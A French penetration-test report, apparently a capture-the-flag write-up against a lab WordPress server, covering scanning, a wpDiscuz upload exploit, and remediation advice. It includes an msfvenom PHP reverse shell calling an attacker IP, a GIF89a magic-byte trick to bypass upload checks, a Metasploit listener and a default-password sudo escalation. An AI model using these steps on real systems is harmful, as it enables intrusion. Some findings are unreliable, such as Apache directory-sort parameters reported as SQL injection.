Rapport de Test d'Intrusion

Version 1.0 - 30 Janvier 2025

Résumé Exécutif

Ce rapport détaille les résultats d'un test d'intrusion approfondi réalisé sur l'infrastructure cible. Notre analyse a révélé plusieurs vulnérabilités critiques qui nécessitent une attention immédiate. La découverte la plus préoccupante concerne une installation WordPress obsolète comportant de nombreuses failles de sécurité exploitables.

1. Phase de Reconnaissance

La phase initiale de notre test d'intrusion s'est concentrée sur une reconnaissance méthodique de l'infrastructure. Cette étape est fondamentale car elle permet d'établir une cartographie précise du système et d'identifier les points d'entrée potentiels.

A. Premier scan Nmap

Notre première approche a utilisé une commande Nmap élaborée, conçue pour obtenir un maximum d'informations tout en minimisant les risques de perturbation :

```
sudo nmap 192.168.1.4 -Pn -O -A -sV -sS -sC -vvv
```

Cette commande complexe mérite une analyse détaillée car chaque option a été sélectionnée avec soin pour un objectif précis :

- `-Pn` : Dans un environnement de production moderne, cette option est cruciale car elle permet de détecter les hôtes même lorsque le ping ICMP est bloqué, une configuration de sécurité courante.
- `-O` : La détection du système d'exploitation nous permet d'adapter notre stratégie en fonction des vulnérabilités spécifiques à la version identifiée.
- `-A` : L'activation des scans avancés fournit une vue d'ensemble complète, notamment via les scripts NSE et le traceroute.
- `-sV` : Cette option de détection de version est particulièrement importante car elle permet d'identifier les services obsolètes nécessitant une mise à jour.
- `-sS` : Le scan furtif SYN est privilégié car il génère moins de bruit sur le réseau qu'un scan TCP classique.
- `-sC` : Les scripts par défaut nous donnent rapidement des informations sur les vulnérabilités courantes.
- `-vvv` : La verbosité maximale garantit que nous ne manquons aucun détail technique important.

Les résultats de notre analyse initiale ont révélé plusieurs éléments préoccupants :

Services exposés :

SSH (Port 22) Notre analyse du service SSH a mis en évidence plusieurs points critiques :

- La version OpenSSH 7.2p2 Ubuntu date de 2016, ce qui est particulièrement inquiétant dans un contexte de sécurité moderne.
- Cette version présente plusieurs vulnérabilités connues qui pourraient être exploitées par un attaquant déterminé.
- L'exposition des clés SSH constitue une fuite d'information significative qui facilite le fingerprinting du système.
- Les configurations par défaut n'ont pas été modifiées, ce qui suggère un manque de durcissement du service.

HTTP (Port 80) Le serveur web présente des faiblesses critiques qui nécessitent une attention immédiate :

- La version Apache 2.4.18 est significativement obsolète comparée à la dernière version stable (2.4.54).
- Les headers HTTP exposent des informations techniques sensibles qui peuvent être utilisées pour affiner les tentatives d'exploitation.
- La configuration par défaut n'a pas été durcie, laissant le serveur vulnérable à diverses attaques.

Informations système :

L'analyse du système d'exploitation nous a fourni des informations révélatrices :

- Le kernel Linux identifié se situe dans une plage de versions entre 3.2 et 4.14.
- Cette imprécision dans la détection suggère la présence de certaines mesures de sécurité, mais pas suffisamment pour masquer complètement la version.
- L'uptime très court (0.002 jours) pourrait indiquer soit une maintenance récente, soit une instabilité système préoccupante.

B. Scan de malware

Pour approfondir notre analyse, nous avons effectué un scan spécifique à la recherche de malwares :

```
nmap --script malware 192.168.1.4 -vvv
```

Cette étape de notre audit était cruciale pour plusieurs raisons :

- La base de données de signatures de malwares de Nmap permet d'identifier rapidement les compromissions connues.
- L'analyse des réponses des services peut révéler des comportements caractéristiques de malwares.
- La vérification des configurations communes aide à identifier les backdoors potentielles.
- Le scan examine en profondeur les ports et services pour détecter des patterns suspects.

Bien que le résultat soit négatif, il est important de noter que cela ne garantit pas l'absence totale de malwares, particulièrement les variants sophistiqués ou personnalisés qui pourraient échapper à la détection.

C. Scan de vulnérabilités

Pour compléter notre analyse initiale, nous avons lancé un scan de vulnérabilités approfondi :

```
nmap --script vuln 192.168.1.4 -vvv
```

Découvertes critiques détaillées :

Vulnérabilité Slowloris (CVE-2007-6750)

Cette vulnérabilité particulièrement préoccupante présente plusieurs caractéristiques :

- Il s'agit d'une attaque de type Denial of Service spécifiquement efficace contre les serveurs Apache.
- Son impact peut être dévastateur car elle peut rendre le serveur web complètement inaccessible.
- Son fonctionnement repose sur le maintien de nombreuses connexions HTTP partielles, épuisant les ressources du serveur.
- Son exploitation ne nécessite pas de privilèges particuliers, la rendant particulièrement dangereuse.

La mitigation de cette vulnérabilité nécessite plusieurs mesures :

- Configuration appropriée du module mod_reqtimeout pour limiter la durée des connexions.
- Implémentation d'un rate limiting strict au niveau du serveur.
- Mise en place d'un reverse proxy avec des protections DoS intégrées.
- Surveillance active des connexions pour détecter les tentatives d'exploitation.

Vulnérabilités CSRF :

Notre analyse a identifié plusieurs formulaires vulnérables aux attaques CSRF :

- Le formulaire textarea.
- Le formulaire exampleinputemail1.
- Le formulaire validationdefault01.

Ces vulnérabilités permettent l'exécution d'actions non autorisées, ce qui nécessite :

- L'implémentation immédiate de tokens CSRF uniques.
- La mise en place de vérifications strictes de l'origine des requêtes.
- L'utilisation systématique de cookies SameSite.
- Le renforcement des contrôles d'authentification.

Injection SQL :

Notre analyse a révélé plusieurs points d'entrée vulnérables aux injections SQL dans le répertoire /js/ :

Paramètres identifiés comme vulnérables :

- C=N;O=D : Ce paramètre permet une injection directe dans la requête.
- C=M;O=A : La validation des entrées est inexistante.
- C=S;O=A : Le paramètre est utilisé directement dans les requêtes SQL.

Ces vulnérabilités présentent des risques majeurs :

- Possibilité d'extraction non autorisée de données sensibles.
- Risque de modification ou de suppression de données dans la base.
- Potentiel d'élévation de privilèges via des requêtes malveillantes.

Les solutions recommandées comprennent :

- L'implémentation systématique du paramétrage des requêtes.
- La mise en place d'une validation stricte des entrées utilisateur.
- L'application du principe du moindre privilège pour les accès à la base de données.
- La mise en place de logging et de monitoring des requêtes SQL.

2. Enumération Web Approfondie

A. Analyse Nikto

Nikto est un outil d'audit web puissant qui permet d'identifier rapidement les vulnérabilités courantes.

L'utilisation de Nikto nous a permis d'effectuer une analyse approfondie des vulnérabilités web :

```
nikto -h http://192.168.1.4
```

Résultats détaillés :

Headers de sécurité manquants :

L'absence de headers de sécurité essentiels expose l'application à plusieurs risques :

X-Frame-Options Cette omission critique présente plusieurs risques :

- Vulnérabilité aux attaques de type clickjacking.
- Possibilité de manipulation de l'interface utilisateur.
- Risque d'intégration malveillante dans des iframes.

La solution recommandée est d'ajouter immédiatement :

- Header "X-Frame-Options: DENY"
- Configuration appropriée au niveau du serveur web
- Monitoring des tentatives d'intégration non autorisées

X-Content-Type-Options L'absence de ce header de sécurité critique expose l'application à des risques significatifs :

- Les attaques par MIME-type sniffing deviennent possibles, permettant potentiellement l'exécution de contenu malveillant.
- Les navigateurs peuvent interpréter incorrectement le contenu, créant des vulnérabilités exploitables.
- Cette faille peut être utilisée en combinaison avec d'autres vulnérabilités pour augmenter leur impact.

Pour remédier à cette situation, nous recommandons vivement :

- L'ajout immédiat du header "X-Content-Type-Options: nosniff"
- La vérification systématique des types MIME pour tous les fichiers servis
- La mise en place d'une politique stricte de validation des contenus

Configuration Apache :

Notre analyse de la configuration du serveur Apache révèle plusieurs problèmes critiques :

- La version 2.4.18 actuellement en place est significativement obsolète, la dernière version stable étant la 2.4.54.
- Cette version a dépassé sa date de fin de support (EOL), signifiant qu'elle ne reçoit plus de correctifs de sécurité.
- De nombreuses vulnérabilités non patchées exposent le serveur à des risques d'exploitation.

L'impact de ces faiblesses est amplifié par :

- L'absence de correctifs de sécurité récents
- La présence de configurations par défaut non sécurisées
- Le manque de mécanismes de protection modernes

Directory Listing :

Notre analyse a révélé une exposition excessive de la structure du site via le directory listing :

- Les dossiers /css/ et /images/ sont directement accessibles et listables
- Cette exposition représente un risque significatif car elle facilite la phase de reconnaissance pour les attaquants
- La structure interne du site devient facilement cartographiable

Les implications de sécurité sont multiples :

- Les attaquants peuvent facilement identifier les ressources sensibles
- La structure des applications devient transparente
- Les versions des composants peuvent être déduites des noms de fichiers

B. Énumération Dirb

Dirb est un outil d'enumération web qui permet d'identifier les répertoires et fichiers cachés.

Pour approfondir notre compréhension de la structure de l'application, nous avons utilisé Dirb :

```
dirb http://192.168.1.4 /usr/share/wordlists/dirb/big.txt
```

Analyse détaillée des découvertes :

Structure des répertoires :

Notre scan a révélé une architecture web complexe avec plusieurs points d'intérêt :

- Le répertoire /assets/ contient des ressources statiques potentiellement sensibles
- Le dossier /css/ expose des informations sur le framework utilisé
- Le répertoire /images/ pourrait contenir des données confidentielles uploadées
- Les fichiers dans /js/ peuvent révéler la logique métier de l'application
- La page /server-status est accessible mais protégée (code 403)

Ces découvertes ont des implications sérieuses pour la sécurité :

- L'exposition de la structure facilite la planification d'attaques ciblées
- Les fichiers accessibles peuvent contenir des informations sensibles
- Les chemins d'upload/download représentent des vecteurs d'attaque potentiels

3. Découverte WordPress

L'une des découvertes les plus significatives de notre audit a été l'identification d'une installation WordPress dans un emplacement inhabituel : /assets/fonts/blog. Cette tentative de "security through obscurity" mérite une attention particulière car elle révèle une approche problématique de la sécurité.

Analyse WPScan approfondie

Pour évaluer précisément les risques liés à cette installation WordPress, nous avons effectué une analyse WPScan complète :

```
wpscan --url http://blogger.thm/assets/fonts/blog --plugins-detection mixed --enumerate ap
```

- --url http://blogger.thm/assets/fonts/blog : Spécifie l'URL de l'installation WordPress à analyser
- --plugins-detection mixed : Cette option permet d'utiliser une méthode de détection mixte pour les plugins. Cela signifie qu'il combinera plusieurs techniques pour détecter les plugins installés sur le site cible.
- --enumerate ap : Cette option demande à **wpscan** d'énumérer les plugins activés (**ap** signifie **"all plugins"**). Cela permet de lister tous les plugins installés sur le site, même s'ils ne sont pas activés.

Résultats critiques :

Core WordPress

L'analyse de la version 4.9.8 (2018) du core WordPress révèle une situation particulièrement alarmante :

- Cette version présente 63 vulnérabilités critiques documentées
- L'âge de cette installation (plus de 6 ans) la rend particulièrement vulnérable
- L'absence de mises à jour régulières indique un problème de maintenance plus large

Parmi les vulnérabilités les plus critiques, nous avons identifié :

Suppression de fichiers (CVE-2018-20147) Cette vulnérabilité présente une gravité élevée pour plusieurs raisons :

- Elle permet la suppression non autorisée de fichiers système
- Elle peut être exploitée par tout utilisateur authentifié
- Son impact peut compromettre l'intégrité du système entier

Contournement de type de publication (CVE-2018-20152) Cette faille de sécurité, bien que de gravité moyenne, est préoccupante car :

- Elle permet une élévation de privilèges non autorisée
- Elle peut être exploitée par des utilisateurs authentifiés
- Elle compromet la séparation des rôles utilisateurs

Injection d'objets PHP (CVE-2018-20148) Cette vulnérabilité critique est particulièrement dangereuse :

- Elle permet l'exécution de code à distance
- Elle peut être déclenchée via des métadonnées malveillantes
- Son exploitation peut mener à une compromission totale du système

Plugin wpDiscuz

L'analyse du plugin wpDiscuz version 7.0.4 a révélé un nombre alarmant de vulnérabilités :

Upload de fichiers arbitraire (CVE-2020-24186) Cette vulnérabilité critique présente plusieurs caractéristiques alarmantes :

- Elle permet l'upload de fichiers malveillants sans authentification
- Son exploitation peut mener à l'exécution de code arbitraire
- Elle ne nécessite pas de privilèges particuliers pour être exploitée

XSS stocké administrateur (CVE-2021-24737) Cette vulnérabilité d'injection de script présente un risque élevé :

- Elle permet l'injection permanente de scripts malveillants
- Elle affecte les comptes administrateurs
- Son impact peut compromettre l'ensemble du site

CSRF sur commentaires (CVE-2021-24806) Cette vulnérabilité de niveau moyen affecte le système de commentaires de manière significative. Elle permet à un attaquant de manipuler les commentaires du site en exploitant l'absence de protections contre les requêtes falsifiées. Dans un contexte d'entreprise, cette faille pourrait être utilisée pour diffuser de la désinformation ou porter atteinte à la réputation de l'organisation.

Divulgation d'informations (CVE-2022-23984) La présence de cette vulnérabilité est particulièrement préoccupante car elle permet à des utilisateurs non authentifiés d'accéder à des informations sensibles. L'impact de cette faille est amplifié par le fait qu'elle peut être exploitée sans nécessiter de privilèges particuliers, exposant potentiellement des données confidentielles à un large éventail d'attaquants.

IDOR (CVE-2023-3869) Cette vulnérabilité de référence d'objet direct non sécurisée représente un risque élevé pour l'intégrité des données. Un attaquant peut exploiter cette faille pour accéder ou modifier des données appartenant à d'autres utilisateurs, simplement en manipulant les identifiants dans les requêtes. Cette situation est d'autant plus critique qu'elle ne nécessite pas d'authentification.

Injections SQL multiples

L'analyse a révélé plusieurs points d'injection SQL, une situation particulièrement dangereuse car elle permet la manipulation directe de la base de données. Ces vulnérabilités pourraient être exploitées pour extraire des informations sensibles, modifier des données critiques, ou même compromettre l'ensemble du système.

4. Exploitation Détaillée

Notre phase d'exploitation s'est concentrée sur la vulnérabilité découverte dans le système de commentaires WordPress. Plus précisément, nous avons identifié un

point d'entrée critique sous le lien /assets/fonts/blog/?p=1#comment-1, où la fonctionnalité d'upload d'images présente une faiblesse exploitable.

A. Préparation du Payload

La création d'un payload approprié nécessite une approche méthodique pour contourner les mécanismes de sécurité en place. Nous avons développé un shell PHP spécialement conçu pour cette exploitation :

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=443 -o /home/reverse.php
```

- -p php/meterpreter/reverse_tcp : Spécifie le payload PHP Meterpreter reverse TCP
- LHOST=192.168.1.154 : Spécifie l'adresse IP de l'attaquant
- LPORT=443 : Spécifie le port d'écoute de l'attaquant
- -o /home/reverse.php : Spécifie le chemin de sortie du fichier PHP

Le payload a ensuite été modifié pour inclure des techniques d'évasion spécifiques :

```
GIF89a; <-- Magic Numbers
/*<?php /**/ error_reporting(0); $ip = '192.168.1.154'; $port = 443; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f
```

Cette modification est stratégique pour plusieurs raisons :

1. L'ajout des Magic Numbers permet de contourner la vérification MIME type.
2. La désactivation du reporting d'erreurs rend l'exploitation plus discrète.
3. La structure modulaire du code assure une meilleure persistance.

B. Configuration du listener

Pour intercepter la connexion reverse shell, nous avons configuré un listener Metasploit avec les paramètres appropriés :

```
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.154
set LPORT 443
run
```

Cette configuration permet d'écouter les connexions entrantes sur le port 443 et de recevoir le shell Meterpreter une fois l'exploitation réussie.

C. Post-Exploitation

Afin de récupérer un accès initial, il faut maintenant uploader le fichier reverse.php généré avec **msfvenom** sur le serveur cible. Pour ce faire, nous avons utilisé l'interface d'upload du formulaire de commentaires vulnérable cité auparavant.

Une fois l'accès initial obtenu, nous avons procédé à une phase de post-exploitation méthodique pour consolider notre position dans le système.

Établissement d'un shell interactif

La première étape consistait à obtenir un shell plus stable et fonctionnel :

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Cette amélioration du shell était cruciale car elle nous permettait d'utiliser des commandes interactives et d'avoir un meilleur contrôle sur le système compromis. Cela permet aussi de bénéficier de l'autocomplétion, de la navigation dans l'historique des commandes, et d'autres fonctionnalités essentielles.

Énumération des utilisateurs

L'analyse des utilisateurs du système a révélé plusieurs comptes actifs :

```
cat /etc/passwd | grep bash
```

Notre énumération a identifié plusieurs utilisateurs clés :

- root : Le compte administrateur système
- vagrant : Un compte avec des privilèges étendus
- ubuntu : Un compte utilisateur standard
- james : Un compte utilisateur qui mérite une investigation approfondie

Élévation de privilèges

Afin de consolider notre position, nous avons cherché à obtenir des privilèges root.

L'exploration des privilèges sudo a révélé une configuration particulièrement dangereuse :

```
su vagrant
Password: vagrant
sudo -l
```

Analyse de la configuration sudo :

- vagrant a ALL=(ALL) NOPASSWD: ALL
- Cela signifie que l'utilisateur vagrant peut exécuter n'importe quelle commande en tant que root sans nécessiter de mot de passe.
- Cette configuration représente une faille de sécurité majeure qui permet une élévation de privilèges directe.

Flag du CTF

La récupération du flag du CTF était une étape cruciale pour valider notre accès au système :

```
root@ubuntu-xenial:/home/james# cat user.txt
ZmxhZ3tZMHVfRCFEXzE3IDopfQ==
```

Cette analyse a mis en évidence une erreur critique de configuration : l'utilisateur vagrant dispose de privilèges sudo complets sans nécessiter de mot de passe (ALL=(ALL) NOPASSWD: ALL). Cette configuration représente une violation flagrante des bonnes pratiques de sécurité et permet une élévation directe vers les privilèges root.

5. Recommandations Détaillées

Suite à notre analyse approfondie, nous avons élaboré un ensemble de recommandations précises pour remédier aux vulnérabilités découvertes.

A. Sécurisation WordPress

La sécurisation de l'installation WordPress nécessite une approche multidimensionnelle :

Mise à jour immédiate

La priorité absolue est la mise à jour de tous les composants WordPress :

- Le core doit être mis à jour vers la dernière version stable pour corriger les 63 vulnérabilités identifiées
- Les plugins doivent être mis à jour ou remplacés, particulièrement wpDiscuz qui présente des risques critiques
- Le thème doit être actualisé pour garantir sa compatibilité et sa sécurité

Hardening WordPress

Un durcissement complet de l'installation WordPress est nécessaire :

- Le répertoire wp-admin doit être déplacé et renommé pour réduire la surface d'attaque
- L'implémentation d'une limitation des tentatives de connexion protégera contre les attaques par force brute
- L'activation de l'authentification à deux facteurs renforcera la sécurité des comptes
- La modification des préfixes des tables de la base de données compliquera les tentatives d'exploitation
- La désactivation de l'éditeur de fichiers intégré réduira les risques de modification non autorisée
- Le masquage des informations de version limitera la reconnaissance

Sécurisation des uploads

Le contrôle des fichiers uploadés doit être renforcé :

- Une validation stricte des types MIME empêchera l'upload de fichiers malveillants
- L'implémentation d'un scan antivirus en temps réel détectera les menaces
- Le redimensionnement automatique des images réduira les risques d'exploitation via des fichiers corrompus
- L'application de permissions restrictives sur le dossier uploads limitera les accès non autorisés

B. Sécurisation Serveur

La sécurisation du serveur requiert des actions à plusieurs niveaux :

Apache

La configuration d'Apache doit être entièrement revue :

- Mise à jour urgente vers la version 2.4.54 ou supérieure
- Installation et configuration de ModSecurity avec les règles OWASP CRS
- Implémentation de headers de sécurité appropriés
- Configuration d'un rate limiting efficace
- Mise en place d'une configuration TLS stricte

Système

Le système d'exploitation nécessite un durcissement complet :

- Application régulière des mises à jour de sécurité
- Mise en place d'un monitoring des processus
- Configuration d'un audit détaillé des connexions
- Installation et configuration d'un firewall restrictif
- Activation de SELinux ou AppArmor

Accès

La gestion des accès doit être strictement contrôlée :

- Suppression immédiate des configurations NOPASSWD dans sudo
- Implémentation d'une politique de mots de passe robuste
- Configuration de l'authentification SSH par clé uniquement
- Installation et configuration de Fail2ban
- Mise en place d'un système de logging d'audit complet

C. Monitoring et Détection

Un système de surveillance complet doit être mis en place :

SIEM

L'implémentation d'un SIEM permettra :

- La centralisation efficace de tous les logs
- La corrélation des événements de sécurité
- La génération d'alertes en temps réel
- La conservation des logs sur une longue durée

IDS/IPS

Un système de détection et prévention d'intrusion doit inclure :

- La détection des anomalies réseau
- La prévention automatisée des attaques
- Des règles personnalisées adaptées à l'environnement
- Des mises à jour régulières des signatures

Surveillance continue

Un monitoring permanent doit être établi pour :

- Vérifier l'intégrité des fichiers système
- Surveiller l'activité réseau anormale
- Monitorer les processus système suspects
- Détecter les modifications de configuration non autorisées

Conclusion

Notre test d'intrusion a révélé des vulnérabilités critiques nécessitant une attention immédiate. La combinaison de composants obsolètes, de mauvaises configurations et de plugins vulnérables crée un risque significatif de compromission. L'application rapide et méthodique des recommandations proposées est essentielle pour établir un niveau de sécurité acceptable.

La gravité des vulnérabilités découvertes souligne l'importance d'une approche proactive de la sécurité, incluant des audits réguliers, une politique de mise à jour stricte, et une surveillance continue de l'infrastructure. La mise en œuvre de ces recommandations devrait être suivie d'un nouveau test d'intrusion pour valider leur efficacité.